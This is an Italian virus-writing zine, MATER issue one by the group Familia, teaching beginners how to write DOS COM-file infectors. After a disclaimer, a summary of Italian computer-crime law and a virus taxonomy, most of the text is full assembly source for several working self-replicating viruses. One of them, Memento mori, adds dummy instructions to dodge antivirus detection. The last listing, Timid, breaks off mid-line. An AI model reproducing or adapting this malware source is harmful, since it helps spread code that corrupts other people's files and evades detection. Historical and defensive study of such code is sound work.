Minima Anonyma Tabularia Ex Reti

nihil vacuum neque sine signo apud MATER

Liber Primus

 

 

Salve, vera Neumannis proles.

Questa è la zine ufficiale di Familia, un gruppo che ha come oggetto di studio la programmazione virale.

MATER ha come scopo l’esame delle tecniche di programmazione virale e delle problematiche ad esse associate. MATER è una raccolta di contributi volontari (e non) di alcuni code-writers del pianeta, in lingua italiana ed è rivolta soprattutto a chi si avvicina per la prima volta al mondo dei virus e necessita dei concetti di base che spesso sono dati per scontati nelle zines reperibili in Rete. Non è, tuttavia, una esemplificazione discorsiva priva di contenuto tecnico: per comprendere gli esempi ivi contenuti è necessaria una minima conoscenza dell’architettura di un elaboratore e del linguaggio assembler.

 

E’ nostra convinzione che una migliore conoscenza delle metodologie infettive digitali sia la principale strada per accrescere la sicurezza degli utenti e fornire un contributo a chi opera nel settore della programmazione. Ritenendo il vero nemico della sicurezza la disinformazione, auspichiamo che una più profonda comprensione in questo campo dissipi i dubbi, aiuti la ricerca e contribuisca al progresso dell’educazione informatica. Sursum Corda ! 

Ictus/Familia

 

 

ATTENZIONE

Questa pubblicazione contiene informazioni e codice sorgente relativi alla sicurezza informatica. L’obbiettivo di queste informazioni è di aiutare gli utenti ad accrescere la propria capacità di programmazione. Questo materiale è a puro scopo didattico e non include codice distruttivo né documenti attinenti ad alcuna attività illegale. Si declina ogni responsabilità nel caso chiunque utilizzi le suddette informazioni per creare, compilare e diffondere intenzionalmente programmi diretti a danneggiare o interrompere un sistema informatico o telematico, ovvero a provocarne l'interruzione, totale o parziale, o l'alterazione del suo funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 del 30.12.1993)

 

 

 

EDITORIALE

 

Qualcuno di voi, cari bambini, si chiederà perché un’altra zine sui virus. Di risposte se ne potrebbero dare tante, forse di valida nessuna. Proverò a darne una manciata decente. Primo, perché MATER è in lingua italiana. E chi inizia da zero o quasi e non ha dimestichezza con la lingua della Rete sa quanto sia arduo a volte districarsi nello slang viroide. Secondo, MATER è semplice. Essa non è rivolta ai bravissimi né ai Vwriters affermati, ma non può essere letta nemmeno da chi è totalmente digiuno di programmazione assembler. In breve, è la zine della scuola elementare dei virus, potremmo chiamarla “Virus for Dummies”. Terzo, perché è di tutti e di nessuno. In MATER troverete pezzi di tutorial di Billy Belcebu, spezzoni di articoli di Lord Julius e di GriYo, riferimenti a Darkman e Super29A… insomma, una minestrina propedeutica, un omogeneizzato didattico facilmente assimilabile per i bimbi affamati di sapere.

Che altro ? MATER è aperiodica, ma già fin d’ora possiamo fornirvi un’idea del contenuto dei prossimi numeri. Si parlerà di EXE infettori sotto DOS, quindi si passerà all’ambiente Windows a 32 bit, e da lì andremo alla scoperta di questo nuovo mondo, della crittografia, del polimorfismo e via verso le stelle…

Può darsi che i principianti a questo punto, vedendo l’indice di questo numero, storcano il naso: “ma come”, diranno, “Con Windows32 ormai come sistema universale, ci mettiamo a studiare i virus sotto DOS ?” cari bambini, abbiate pazienza. Per apprendere le tecniche infettive sotto Windows è necessario prima avere un’idea delle medesime sotto DOS, più semplice e lineare. Inoltre alcune tecniche di base (ad esempio la ricerca del delta offset, la crittografia, il polimorfismo) sono le stesse sia sotto DOS che sotto Windows. Quindi…                                                  Milla/Familia       

 

 

Ciò di cui avrete bisogno:

 

per iniziare, se siete proprio digiuni di assembler:

Il libro “Art of assembly language”, scaricabile dal sito: http://webster.cs.ucr.edu/;

Qualche tutorial sull’assembler (date un’occhiata da Iczelion: http://members.nbci.com/_XMCM/winasm/index.html);

I manuali dell’Intel (http://developer.intel.com/design/PentiumII/manuals/), soprattutto il vol. II;

 

Per la programmazione in ambiente DOS:

Un PC con DOS;

La Ralf Brown’s Interrupt list (si trova ovunque);

Un visualizzatore esadecimale (si trova ovunque);

Un assemblatore (si consiglia il pacchetto TASM 5.0 che include TASM32 e TLINK32);

Qualche virus per DOS (se ne trovano migliaia, provate un po’ da http://vx.netlux.org/ o da www.coderz.net);

The Little Black Book of Computer Viruses di Mark A. Ludwig (si trova da http://vx.netlux.org/ o da coderz).

Un AV per DOS.

 

Per la programmazione in ambiente Win32:

Un PC con Windows 95 o Windows NT o Windows 98 o Windows 3.x + Win32s;

Un assemblatore (si consiglia il pacchetto TASM 5.0 che include TASM32 e TLINK32);

SoftICE 3.23+  per Win9X;

La lista delle funzioni API (Win32.HLP);

il documento di Matt Pietrek sull’header del file PE;

il tool PEWRSEC;

qualche zine, ad esempio 29A(#2,#3),Xine(#2,#3,#4),VLAD(#6),DDT(#1);

qualche virus per Windows;

un paio di AV per Win32.

 

ed ora, al lavoro !

 

 § MATER liber primus §

 

indice

 

1.      leggi

2.      definizioni

3.      COM infettori

4.      file COM: problematiche

 

 

 

1. LEGGI

 

Prima di tutto è necessario conoscere le leggi che riguardano la materia che studieremo (nota: tali leggi valgono solo per l’Italia).

 

Art. 615-quinquies - (Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico). - Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad essi pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del suo funzionamento, e' punito con la reclusione sino a due anni e con la multa sino a lire venti milioni".

 

Carlo Sarzana di S. Ippolito, presidente aggiunto della sezione Gip del Tribunale di Roma, nella sua relazione presentata al convegno sulla criminalita' informatica tenutosi a Milano il 26 maggio 1994 rispetto alla legge Conso (l. n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 30.12.93) sui reati informatici osservava che:

 

1) con riguardo all'art. 615 ter., che punisce l'accesso abusivo a un sistema informatico o telematico, la tutela e' limitata ai sistemi  informatici o telematici protetti da misure di sicurezza perche', dovendosi tutelare il diritto di un soggetto specifico, e' necessario che quest'ultimo abbia dimostrato, con la predisposizione di mezzi di  protezione sia logica che fisica, di voler espressamente riservare l'accesso e la permanenza nel sistema alle sole persone da lui  autorizzate;

 

2) in riferimento all'art. 615 quater che punisce l'abusiva acquisizione e diffusione di codici di accesso a sistemi informatici o telematici,  viene definito che, per la configurabilita' del delitto, e' richiesto il dolo specifico, consistente nel fine di procurare un profitto a se' o ad  altri o di arrecare ad altri un danno;

 

3) a proposito dei virus (articolo 615-quinques) non commette reato colui che per ragioni di studio o predisposizione di sistemi di prevenzione,  raccolga e/o custodisce programmi virus.

 

 

2. COSA SONO I VIRUS

Nella scena virale sono presenti decine di specie diverse, e per uno studio che non sia troppo generalizzato è necessario fare delle scelte.  MATER si interessa principalmente di virus parassitari, anche se sono in previsione numeri monografici sui Troiani e sui Virus Companion. Quella che segue è una classificazione assai incompleta, ma necessaria per avere presente l’oggetto del nostro studio. Per una ricerca più approfondita sull’argomento si consiglia di visitare i siti delle maggiori case AV (antivirus), o di scaricare l’ottima AVP Virus Encyclopedia (AVPVE) http://www.avp.ch/avpve/http://www.virusdatabase.com/.

1. Definizione

Il Virus è un programma auto-replicante che può infettare altri programmi modificandoli ed includendo copia di se stesso.

Il programma-virus non può agire da solo, ma deve veicolarsi a un ospite, che diventa un programma infetto od “host”.

 

 

2. Alcuni tipi di virus

 

I virus si suddividono in genere in base al punto in cui colpiscono il sistema: Boot, Tavole d'allocazione dei file, Exe e Com, in pochi casi i Bat e di recente Macro virus. Altri si differenziano in modo netto e vengono pertanto chiamati virus solo in senso generico (troiani, dropper, worm ...).

 

Gli infettori di files attaccano se stessi a programmi ordinari ed infettano Exe e/o Com (ve ne sono che possono infettare ogni programma che richieda un'esecuzione o un'interpretazione [Sys, Ovl, Obj, Prg, Drv, e Bat]) appendendo il codice virale al termine del file oppure nascondendolo all'interno. In base alla loro posizione rispetto alla memoria, suddividiamo:

a) Virus "ad azione diretta" (o "non residenti"): Selezionano uno o più programmi e li infettano prima di rilasciare il controllo ogni volta che è eseguito un file infettato da loro.

b) Virus "residenti" in memoria (TSR virus): la maggior parte operano installandosi in memoria RAM; poi infettano tutti i file eseguiti, oppure aspettano che siano soddisfatte determinate condizioni.

In questa sede approfondiremo i “Virus parassitari” (Parasitic Viruses), che sono tutti i virus che cambiano il contenuto del file che vanno ad infettare trasferendo una copia del loro codice non alterando il funzionamento del file ospitante (che essendo un file eseguibile, può essere eseguito).

Esistono tre modi di inserire del codice virale all’interno di un file:

 

1.      codice virale all’inizio del file ospitante (prepending);

2.      codice virale alla fine del file ospitante (appending);

3.      codice virale all’interno del file ospitante (inserting).

 

In particolare ci interesseremo dei virus “appending” ad azione diretta - la materia è alquanto vasta e si rendono necessarie delle scelte. Questo metodo, che risulta assai comune, consiste nel modificare l’inizio del file ospitante in maniera tale che quando il file ospitante (d’ora in poi, per amore di brevità, chiameremo host) è caricato in meMoria, il virus viene ad essere eseguito per primo (si suol dire che “prende il controllo”) e quindi, dopo aver eseguito le sue routines, rilascia il controllo all’host che viene eseguito normalmente.

Tale processo avviene in maniera diversa a seconda del file da infettare e del sistema operativo; la suddivisione principale riguarda quindi file eseguibili sotto DOS (COM infettori ed EXE infettori) e file eseguibili sotto Windows a 32 bit (Win32 infettori).

 

 

3. I VIRUS COM INFETTORI

 

1. generalità

 

I Com sono "memory image files" e una volta eseguiti si pongono in memoria senza alcuna interpretazione a partire dall'offset 100h; possono inoltre avere una dimensione massima di 64 K.

In genere il virus sovrascrive l'inizio dell’host con una piccola parte del codice virale (un’istruzione di salto), salvando i primi byte del programma in fondo ed agganciando poi il resto del codice virale al termine dell’host. Una volta che il file infettato è caricato in memoria, l’istruzione scritta all' inizio dell’host effettua un salto (JUMP) al resto del codice virale che, dopo aver eseguito le sue routines, riscrive i byte iniziali dell’host nella giusta posizione ed esegue poi un Jump verso di loro andando ad eseguire l’host.

 

2. Gli elementi di un Virus COM infettore

 

Ogni virus è composto principalmente di due parti:

1.      una routine di ricerca che localizzi nuovi files da infettare o aree su disco che si intendono infettare (virus di boot).

2.      una routine di replicazione del codice del virus stesso.

 

Oltre a queste due componenti in genere se ne aggiungono altre, come  routines che cercano di impedire ai software antivirus di rivelare la presenza del virus.

 

3. La routine di ricerca

 

Il procedimento infettivo segue i seguenti punti:

 

1.       Trovare un file da infettare;

2.      controllare se è già stato infettato;

3.      se già infettato, torna al punto 1;

4.      se non è infettato, infettalo.

 

1. Trovare un file da infettare

Il metodo di ricerca più semplice e maggiormente utilizzato è quello di cercare nella directory corrente. Le funzioni usate sono la 4EH, la 3DH, la 3EH e la 4FH dell’interrupt 21H.

 

La funzione 4EH cerca il primo file nella directory corrente con il nome da noi specificato:

 

cerca:     mov ah,04eh          ; cerca il primo file nella dir. corrente

           xor cx,cx            ; maschera attributi del file

           lea dx,com_mask      ; in ds:dx viene inserito l'offset del nome

           int 21h              ; del file da aprire

 

           ...                   

           ...                   

 

    com_mask:  db "*.c*",0    ; maschera di ricerca per l'estensione

 

La funzione 3DH apre il file:           

 

apri:      mov ax,3d02h         ; apro il file in lettura/scrittura

           mov dx,9eh           ; ricavo il nome del file dalla DTA

           int 21h             

 

Qui va inserita la chiamata alla routine di replicazione:

La funzione  3EH chiude il file dopo averlo infettato:

 

prossimo:  mov ah,3eh           ; chiudo il file

           int 21h

 

La funzione 4FH cerca il prossimo file:

 

           mov ah,4fh           ; cerco il prossimo file e aggiorno la DTA

           int 21h

 

 

Al primo ciclo in dx abbiamo inserito in ds:dx il nome del primo file *.c.  Ma come fa il programma a cercare il nome del secondo file dopo l'istruzione di next --> mov ah,4fh che cerca il prossimo file ? La soluzione viene dalla funzione 4fh aggiorna ad ogni nuova apertura la DTA (che fra le altre cose contiene il nome del file da aprire).

Per ricavare il nome del file devo saltare i primi 128 bytes del PSP e puntare all'offset 30 della DTA. Quindi: 128 (80h) + 30 (1e) = 158 (9eh).

 

4. la routine di replicazione

 

1.      Trovato il file da infettare, vengono copiati i primi 3,4 o 5 bytes dell’host e si salvano in un’area di memoria all’interno del codice virale;

2.      al posto di questi byte viene scritta un’istruzione di salto (JMP) che salterà all’indirizzo della prima istruzione del codice virale;

3.      in append al file Com viene scritto il codice virale.

 

 

1. salvataggio di primi bytes dell’host

In genere viene utilizzata una variabile contenuta all’interno del codice virus. Si consideri il seguente esempio:

 

        mov     cx,4                  ; leggiamo I primi 4 bytes

        mov     ah,3f                 ; 3FH funzione di lettura dell’INT 21H

        lea     dx,[bp+salva_bytes]   ; e li salviamo in salva_bytes

        int     21                    ;

        ~~~~

        ~~~~

        ~~~~

salva_bytes:          ; area di salvataggio

        nop           ; istruzione nulla

        nop           ; istruzione nulla

        nop           ; istruzione nulla

        nop           ; istruzione nulla

 

L’istruzione NOP necessita un byte di codice e non fa nulla. In questo modo, salvando i quattro bytes letti nell’area di memoria che parte dall’indirizzo della label salva_bytes si va a ricoprire queste quattro istruzioni con i bytes letti.

 

 

2. scrittura dell’istruzione di salto

Al posto dei primi n bytes (poniamo 4) viene inserita un’istruzione di salto, cioè un JMP, un paio di bytes che indicheranno al virus quanti bytes saltare, e un carattere descrittore che serve per “marcare” il file infettato:

 

        mov     ah,40                     ; 40H=funzione di scrittura INT21H

        mov     cx,4                      ; numero di bytes da scrivere

        lea     dx,[bp+salta_bytes]        ; indirizzo buffer contenente i bytes

        int     21                        ; scriviamo i bytes

        ~~~~

        ~~~~

        ~~~~

salta_bytes      db      0e9h,0,0,'V'              ; il nostro 'jmp'

 

Nell’esempio di cui sopra è stato specificato un vettore chiamato salta_bytes che contiene i seguenti bytes:

1.      09EH, codice dell’istruzione JMP (3 bytes);

2.      byte di salvataggio per il numero bytes da saltare;

3.      byte di salvataggio per il numero bytes da saltare;

4.      carattere ‘V’, marcatore di file infettato.

 

 

5.qualche esempio

 

I° Esempio

 

Memento_mori - Virus COM-infettore sovrascrittore.

 

Questo tipo di virus è molto semplice e la sua struttura è alquanto primitiva. Esso si installa all’inizio dei files con estensione *.COM della directory corrente ricoprendo i primi 76 bytes del file ospitante.

Le operazioni che compie il virus una volta caricato in memoria sono le seguenti:

 

1.      cerca il primo file COM nella directory corrente;

2.      se trovato lo apre;

3.      scrive il proprio codice dalla locazione 100h;

4.      chiude il file;

5.      cerca il prossimo file da infettare.

 

All’interno del codice sono state disseminate delle istruzioni “dummy” che non svolgono alcuna funzione se non quella di nascondere il codice alla scansione del software antivirus (senza queste istruzioni il codice sarebbe facilmente identificato come facente parte della famiglia TRIVIAL).

 

 

;******************************************************************************

;*  76-virus memento mori v. 1.0                                              *

;*                                                                            * 

;*  virus non residente .COM sovrascrittore con "vuoto a perdere"             *      

;*  secondo la famiglia Trivial. Infetta tutti i files con estensione .C*     *

;*  nella directory corrente sovrascrivendo se' stesso all'inizio di          *

;*  ogni file per un offest di 76 bytes. Ogni file .com successivamente       *

;*  lanciato visualizza la stringa "memento mori" infettando i successivi     *

;*  files.                                                                    *

;*  Dumping del codice:                                                       * 

;*                                                                            *

;* 0000:  b4 4e 33 c9 8d 16 3a 01 cd 21 90 b8 01 00 ba 02    .N3...:..!...... *

;* 0010:  00 eb 01 90 b8 03 00 ba 04 00 90 b8 02 3d ba 9e    .............=.. *

;* 0020:  00 cd 21 90 b9 4c 00 8d 16 00 01 b4 40 cd 21 90    ..!..L......@.!. *

;* 0030:  b4 3e cd 21 b4 4f cd 21 73 e1 2a 2e 63 2a 00 6d    .>.!.O.!s.*.c*.m *

;* 0040:  65 6d 65 6e 74 6f 20 6d 6f 72 69 24                emento mori$     *

;******************************************************************************

 

.model small

virus      segment

           org  100h            ; e' un programma .com

           assume cs:virus

 

len        equ offset last-100h ; in len lunghezza del codice virale

 

start:     mov ah,04eh          ; cerca il primo file nella dir. corrente

           xor cx,cx            ; maschera attributi del file

 

; i bit degli attributi file della funzione 4eh sono i seguenti:

;

;   bit 0 = 1 solo lettura

;   bit 1 = 1 nascosto

;   bit 2 = 1 file di sistema  

;   bit 3 = 1 etichetta di volume

;   bit 4 = 1 directory

;   bit 5 = 1 file di archivio

;   bit 6-15 = riservati

; ponendo tutti i bytes di cx a zero viene indicato un file qualsiasi, cioe'

; senza attributi.

 

 

           lea dx,com_mask      ; in ds:dx viene inserito l'offset del nome

           int 21h              ; del file da aprire: qualsiasi file la

                                ; cui estensione termina con il carattere 'c'

 

; le istruzioni che seguono non fanno nulla: servono unicamente a mascherare

; il codice contro la scansione dei software antivirus. Il codice cresce cosi'

; dagli originali 44 bytes dello standard Trivial a 76.

 

           nop 

           mov ax,01h

           mov dx,02h

           jmp jump

           nop

jump:

           mov ax,03h

           mov dx,04h

           nop

 

; fine delle istruzioni dummy

 

; al primo ciclo in dx abbiamo inserito in ds:dx il nome del primo file *.c.

; Ma come fa il programma a cercare il nome del secondo file dopo l'istruzione

; di next --> mov ah,4fh che cerca il prossimo file ?

; ecco la soluzione: la funzione 4fh aggiorna ad ogni nuova apertura la DTA

; che fra le altre cose contiene il nome del file da aprire.

; la DTA (Disk Transfer Area) e' cosi' strutturata:

;

; offset    bytes      contenuto

;  0          21       riservato 

;  1           1       attributi del file

; 22           2       ora ultima modifica

; 24           2       data ultima modifica

; 26           4       misura del file in bytes

; 30          13       nome del file (ASCIIZ) 

 

; per ricavare il nome del file devo saltare i primi 128 bytes

; del PSP e puntare all'offset 30 della DTA. Quindi:

; 128 (80h) + 30 (1e) = 158 (9eh)

           

apri:      mov ax,3d02h         ; apro il file in lettura/scrittura

           mov dx,9eh           ; ricavo il nome del file dalla DTA

           int 21h             

 

           nop                  ; istruzione dummy

 

infetta:   mov cx,len           ; scrivo il codice virale all'inizio del file

           lea dx,start         ; in CX numero di bytes da scrivere

           mov ah,40h           ; in DS:DX dati da scrivere (codice virale)

           int 21h              ;

 

           nop                  ; istruzione dummy

 

prossimo:  mov ah,3eh           ; chiudo il file

           int 21h

           mov ah,4fh           ; cerco il prossimo file e aggiorno la DTA

           int 21h

           jnb apri             ; ci sono ancora files ?

 

com_mask:  db "*.c*",0          ; maschera di ricerca per l'estensione

sign:      db "memento mori$"   ; firma

last:                           ; etichetta dummy per la dimensione del codice

 

virus ends

      end start

; fine sorgente di MEMENTO_MORI

;***********************************************************************************

 

 

 

II° Esempio

 

IR144 - Virus COM-infettore non sovrascrittore.

 

.model tiny

.radix 16

.code

        org 100                       ;è un programma COM

start:

        call    get_offset

 

get_offset:

        pop     bp                    ; ricava l’indirizzo “delta”

        sub     bp,offset get_offset  ;

 

        lea     si,[bp+salva_bytes]   ; ripristina i primi 4 bytes dell’host

        mov     di,100h               ; prima di rilasciargli il controllo

        movsw                         ; i primi 2 bytes da si a di (100h)

        movsw                         ; i rimanenti 2 bytes da si a di

 

        lea     dx,[bp+end_virus]     ; setta il DTA ponendola alla fine

        mov     ah,1ah                ; del codice virale

        int     21                    ; funzione 1ah  INT 21: setta DTA

 

        lea     dx,[bp+find_files]    ; cerchiamo solo file "*.com"

        mov     ah,4eh                ; cerca il primo nella dir.corrente

find_next:

        int     21

        jc      reset_DTA     

 

        lea     dx,[bp+end_virus+1eh] ; nome del file nella DTA (1eh = 30 dec.)

        mov     ax,3d02h              ; apro il file. in AX l’handle del file

        int     21

 

        jc      ancora

 

        xchg    bx,ax                 ; ora handle del file in BX

 

        mov     cx,4                  ; leggiamo I primi 4 bytes

        mov     ah,3fh                ; 3FH funzione di lettura dell’INT 21H

        lea     dx,[bp+salva_bytes]   ; e li salviamo in salva_bytes

        int     21                    ;

 

 

        cmp     byte ptr [salva_bytes+bp+3],'V'   ; è già stato infettato ?

        jz      chiudi                          ; già infettato. cerca ancora

                                                  ; se passa qui non è infettato 

 

        mov     ax,4202                           ; vai alla fine del file (EOF)

        sub     cx,cx

        cwd

        int     21                                ; ora in AX=posizione di EOF  

 

        sub     ax,3                              ; togliamo I 3 bytes del JMP

        mov     word ptr [bp+salta_bytes+1],ax    ; li inseriamo nel nostro buffer

 

        mov     ah,40h                            ; scriviamo il codice virale

        mov     cx,end_virus-start                ; quantità di bytes codice virale

        lea     dx,[bp+start]                     ; scriviamo da questo indirizzo

        int     21

 

        mov     ax,4200                           ; vai alla fine file

        sub     cx,cx

        cwd

        int     21

 

        mov     ah,40h                            ; scriviamo l’istruzione di salto

        mov     cx,4                              ; ricoprendo I primi 4 bytes

        lea     dx,[bp+salta_bytes]               ; del programma ospitante

        int     21                                ;

 

chiudi:

        mov     ah,3eh                            ; chiudo il file

        int     21

 

ancora:

        mov     ah,4fh                            ; trova il prossimo

        jmp     find_next

 

reset_DTA:

        mov     dx,80h                            ; ripristina il DTA originario

        mov     ah,1ah                            ; del COM ospitante

        int     21

 

        mov     di,100h                          ; ritorna al programma ospitante

        push    di                               ; rilasciandogli il controllo

        ret                                      ;

 

 

 find_files      db      '*.com',0                ; le nostre vittime

salta_bytes      db      0e9,0,0,'V'              ; il nostro JMP

 

salva_bytes:          ; I primi 4 bytes dell’HOST vanno salvati qui

        nop

        nop

        nop

        nop

 

        int     20    ; ritorna al prompt

 

end_virus:

end start

;***********************************************************************************

 

 

 

III° Esempio

 

205 - Virus COM-infettore non sovrascrittore.

 

.model tiny                   ; modello di meoria

.code                         ; inizio codice

                  org 100h                      ; inizio del COM

 

MAIN:             db 0e9h,00h,00h               ; Jmp START_VIRUS

 

START_VIRUS       proc near                     ; inizio reale di Virus

                  call FIND_OFFSET

 

FIND_OFFSET:      pop bp                        ; trovo il delta

                  sub bp, offset FIND_OFFSET    ;

 

; ripristino I tre bytes del programma ospitante, così dopo le operazioni del virus

; potrà riprendere correttamente il controllo

 

                  lea si,[bp+ORIG_START]        ; ripristino i 3 bytes originari

                  mov di,100h                   ; a 100h, inizio del file

                  push di                       ; copio da si a di

                  movsw                         ; copio una word (2 bytes)

                  movsb                         ; copio un byte

 

; Cambiamo l’indirizzo del DTA da quello di default così le funzioni

; FINDFIRST/FINDNEXT non distruggono l’originale. il nostro DTA Lo salviamo in

; NEW_DTA (43)

 

                  lea dx,[bp+NEW_DTA]           ; Punta alla nuova area DTA

                  call SET_DTA                  ; setta il DTA

 

; routine di ricerca Findfirst / Findnext

 

 

FINDFIRST:        mov ah,4eh                    ; funzione DOS trova il primo

                  lea dx,[bp+COM_MASK]          ; cerchiamo ogni file COM

                  xor cx,cx                     ; azzero cx. Ogni tipo di file

FINDNEXT:         int 21h                       ;

                  jc QUIT                       ; se ci sono errori o non ci sono

                                                ; più files, esci

 

; Ok abbiamo trovato una possibile vittima. Apriamo il file e vediamo se è già

; stato infettato.

 

                  mov ax,3d00h                  ; apro il file, solo lettura

                  lea dx,[bp+NEW_DTA+30]        ; punta al nome del file

                  int 21h                       ;

                  xchg ax,bx                    ; mettiamo l’handle del file in BX

 

; il controllo viene eseguito non con un marcatore ma confrontando le dimensioni:

 

                  mov ah,3fh                    ; leggo il file

                  lea dx,[bp+ORIG_START]        ; salvo qui i primi tre bytes

                  mov cx,3                      ; devo leggere 3 bytes

                  int 21h                       ;

                  mov ax,word ptr [bp+NEW_DTA+26]   ; misura del file in AX

                  mov cx,word ptr [bp+ORIG_START+1] ; punta all’inizio del file

                  add cx,END_VIRUS-START_VIRUS+3; aggiunge misura file+3 bytes JMP

                  cmp ax,cx                     ; sono uguali ?

                  jnz INFECT_COM                ; no, infettalo

                  mov ah,3eh                    ; si, chiudi e cerca

                  int 21h                       ; un’altraa possibile vittima

                  mov ah,4fh                    ; trova il prossimo file

                  jmp short FINDNEXT            ;

 

; ripristina il DTA di default  e ritorna il controllo all’ospitante.

 

QUIT:             mov dx,80h                    ; Ripristina DTA originale

                  call SET_DTA                  ;

                  retn                          ; End Virus e inizio

 

; dell’host. Ricorda, il registro DI contiene 100h che era stato inserito nello

; stack.

 

;*** Subroutine INFECT_COM ***

 

INFECT_COM:

 

; resetta gli attributei del file a ”normal” così possiamo scriverci

 

                  mov ax,4301h                  ; funzione cambia attributi

                  xor cx,cx                     ; attributi a zero

                  lea dx,[bp+NEW_DTA+30]        ; punta al DTA del file

                  int 21h                       ;

 

; Calcolo il numero dei bytes da saltare dopo  il JMP

 

                  mov ax,word ptr [bp+NEW_DTA+26] ; misura del file in AX

                  sub ax,3                        ; tolgo i 3 bytes del JMP

                  mov word ptr [bp+JMP_OFFSET],ax ; e li salvo qui

 

; Chiudo il file e lo riapro in lettura/scrittura. BX contiene l’handle del file

 

                  mov ah,3eh                    ; chiudo il file

                  int 21h                       ;

                  mov ax,3d02h                  ; apro il file, read/write

                  int 21h                       ;

                  xchg ax,bx                    ; metto l’handle in BX

 

; scrivo l’istruzione di salto all’inizio dell’host

 

                  mov ah,40h                    ; funzione di scrittura

                  mov cx,3                      ; scrivo 3 3 bytes

                  lea dx,[bp+HEADER]            ; e li prendo da qui

                  int 21h                       ;

 

; ora devo attaccare il codice virale alla fine dell’host

 

                  mov al,2                      ; fine del file

                  call FILE_PTR                 ; muovo il file pointer

 

                  mov ah,40h                    ; funzione di scrittura

                  mov cx,END_VIRUS-START_VIRUS  ; lunghezza dl codice virale

                  lea dx,[bp+START_VIRUS]       ; copio il codice da qui

                  int 21h                       ;

 

; Ripristino l’ora e la data originali. Questi valori erano stati salvati nella DTA

 

                  mov ax,5701h                    ; setto ora e data

                  mov cx,word ptr [bp+NEW_DTA+22] ; Setto ora

                  mov dx,word ptr [bp+NEW_DTA+24] ; Setto data

                  int 21h                         ;

 

; ripristino gli attributi originali dell’host

 

                  mov ax,4301h                    ; cambio attributi

                  mov cx,word ptr [bp+NEW_DTA+21] ; prendo gli attr. originali

                  lea dx,[bp+NEW_DTA+30]          ; punta al nome del file

                  int 21h                         ;

 

; chiudo il file e ritorno

 

                  mov ah,3eh                    ; chiudo

                  int 21h                       ;

                  jmp QUIT                      ;

 

;*** Subroutine SET_DTA ***

 

 

SET_DTA           proc near

                  mov ah,1ah                    ; set DTA

                  int 21h                       ;

                  retn                          ;

SET_DTA           endp

 

 

;*** Subroutine FILE_PTR ***

FILE_PTR          proc near

                  mov ah,42h                    ; funzione puntatore al file

                  xor cx,cx                     ; inidirizzo a zero

                  cwd                           ; come xor dx,dx

                  int 21h                       ;

                  retn                          ;

FILE_PTR          endp

 

; questa area conterrà le variabili compilate

 

COM_MASK          db '*.com',0                  ; maschera per la ricerca del file

ORIG_START        db 0cdh,20h,0                 ; salvataggio primi bytes host

HEADER            db 0e9h                       ; istruzione Jmp

 

START_VIRUS       endp

END_VIRUS         equ $                         ; segna la fine del codice virus

 

; questa area eè “scratch” e non è inclusa nel codice del virus

 

JMP_OFFSET        dw ?                          ; indirizzo Jump  per

NEW_DTA           db 43 dup(?)                  ; nuova locazione DTA                 end MAIN

;***********************************************************************************

 

 

 

IV° Esempio

 

Timido - Virus COM-infettore non sovrascrittore.

 

Questo tipo di virus deriva direttamente dal modello TIMID creato da Mark Ludwig. A differenza del precedente risulta più sofisticato in quanto non sovrascrive il programma ospitante rendendo così possibile la sua esecuzione.

Timido si installa alla fine di un solo file con estensione *.COM della directory corrente. I primi cinque bytes del programma ospitante vengono salvati e al loro posto viene inserita un’istruzione di salto (JMP) al resto del codice virale scritto alla fine del file COM.

Ogni programma COM ospitante (host) infettato ha quindi i primi cinque bytes del codice modificati. I 5 bytes originari rimangono memorizzati all’interno del codice del virus che è attaccato alla fine del codice del’host. Tali bytes sono necessari all’esecuzione del programma host una volta che è stato caricato in memoria. Le ultime operazioni del virus dopo che ha eseguito la sua opera di infezione saranno quelle di ripristinare questi 5 bytes e rilasciare il controllo al programma host che potrà così essere eseguito.

 

 Le operazioni che compie il virus una volta caricato in memoria sono le seguenti:

 

1.      un programma ospitante infettato viene caricato in memoria; il virus effettua il jump al codice virale scavalcando il codice del programma ospitante e prendendo il controllo;

2.      il virus cerca un file COM da infettare nella directory corrente;

3.      se trovato, il virus appende sé stesso alla fine del file;

4.      il virus legge i primi 5 bytes del file trovato nella directory e li salva. START_IMAGE contiene i 5 bytes del file su disco, mentre INIZIO_CODICE contiene i 5 bytes del file host in memoria

5.      il virus scrive l’istruzione di salto nel nuovo programma ospitante al posto dei suoi primi 5 bytes originari. A tale scopo: a) setta il puntatore al file alla locazione di INIZIO_CODICE nel file su disco; b) scrive i 5 bytes di START_IMAGE nella locazione di INIZIO_CODICE sul file del disco; c) scrive l’istruzione di salto.

6.      il virus prende i bytes che erano originariamente i primi del suo file ospitante (quello attualmente in memoria), e li rimette all’indirizzo 100H. In questo modo la copia del programma COM ospitante in memoria sarà ripulita dall’istruzione di salto, mentre la copia su disco dello stesso programma rimarrà inalterata.     

7.      Il controllo salta a 100H facendo eseguire il codice dell’host in memoria. AL termine del processo infettivo nella directory corrente ci sono due programmi COM infetti.

 

;***********************************************************************************

;* Virus Timid

;*

;* Infetta solo files COM. Prende i primi 5 bytes del suo COM ospitante salvandoli 

;* quindi inserisce nell'host un'istruzione jump assieme alle lettere "VI", che

;* sono usate dal virus per l'identificazione.

;*

;***********************************************************************************

 

    MAIN SEGMENT BYTE

    ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

    ORG 100H

 

; Questo host e' una shell di un programmino che immette il virus nel sistema.

; tutto quello che fa e' un jump alla routine del virus, che fa il suo lavoro

; e ritorna ad esso, il quale poi rilascia il controllo al DOS.

 

HOST:

      jmp NEAR PTR INIZIO_VIRUS ;il MASM non assembla questo jmp correttamente

      db 'VI'                

      mov ah,4CH

      mov al,0

      int 21H                  ;rilascia il controllo al DOS

 

      VIRUS:                   ;label per il primo byte del codice virus

      COMFILE DB '*.COM',0     ;stringa di ricerca: solo files COM

 

INIZIO_VIRUS:

 

      call GET_START           ;fornisce l'indirizzo start

 

;*******************************************************************************

; trucco per determinare la locazione dell'inizio del codice virale. Inserisco

; l'indirizzo di GET_START nello stack con l'istruzione call, dove sara' ricoperto

; dalla variabile VIR_START. Sottraggo poi gli indirizzi per ottenere @VIRUS

;*******************************************************************************

 

GET_START:

 

      sub WORD PTR [VIR_START],OFFSET GET_START ­ OFFSET VIRUS

 

